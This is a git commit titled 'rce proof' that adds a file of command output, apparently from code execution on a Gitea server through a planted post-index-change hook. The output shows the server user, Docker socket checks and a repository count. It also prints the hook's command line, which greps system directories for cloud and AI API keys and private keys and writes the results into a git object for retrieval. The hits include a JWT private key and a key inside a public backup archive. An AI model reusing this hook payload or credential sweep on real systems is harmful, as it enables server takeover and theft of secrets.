commit f0a47283d27d657054d1cbf4b03d2da493d6f8ff
Author: poc <poc@x>
Date:   Mon Nov 2 06:11:41 2026 +0900

    rce proof

diff --git a/proof b/proof
new file mode 100644
index 0000000..958d03b
--- /dev/null
+++ b/proof
@@ -0,0 +1,11 @@
+ID
+uid=1000(git) gid=1000(git) groups=1000(git),1000(git)
+DOCKER
+ls: /var/run/docker.sock: No such file or directory
+ls: /run/docker.sock: No such file or directory
+REPOS
+1332
+GREP
+/data/gitea/tmp/local-repo/upload.git4063440017/hooks/post-index-change:10:output_blob=$({ echo ID; id; echo DOCKER; ls -la /var/run/docker.sock /run/docker.sock 2>&1; echo REPOS; ls /data/git/repositories 2>/dev/null | wc -l; echo GREP; grep -RInaE 'AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}|AIzaSy|sk-ant-|sk-proj-|sk-or-v1-|AWS_ACCESS_KEY_ID|AWS_SECRET_ACCESS_KEY|AZURE_|GCP_SA_KEY|BEGIN [A-Z ]*PRIVATE KEY|OPENAI_API_KEY|ANTHROPIC_API_KEY' /data/git /data/gitea /home /opt /srv /etc /var/lib 2>/dev/null | head -100; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
+/data/gitea/public/assets/backup.zip:5538330:
ۥCi-----BEGIN PRIVATE KEY-----
+/data/gitea/jwt/private.pem:1:-----BEGIN PRIVATE KEY-----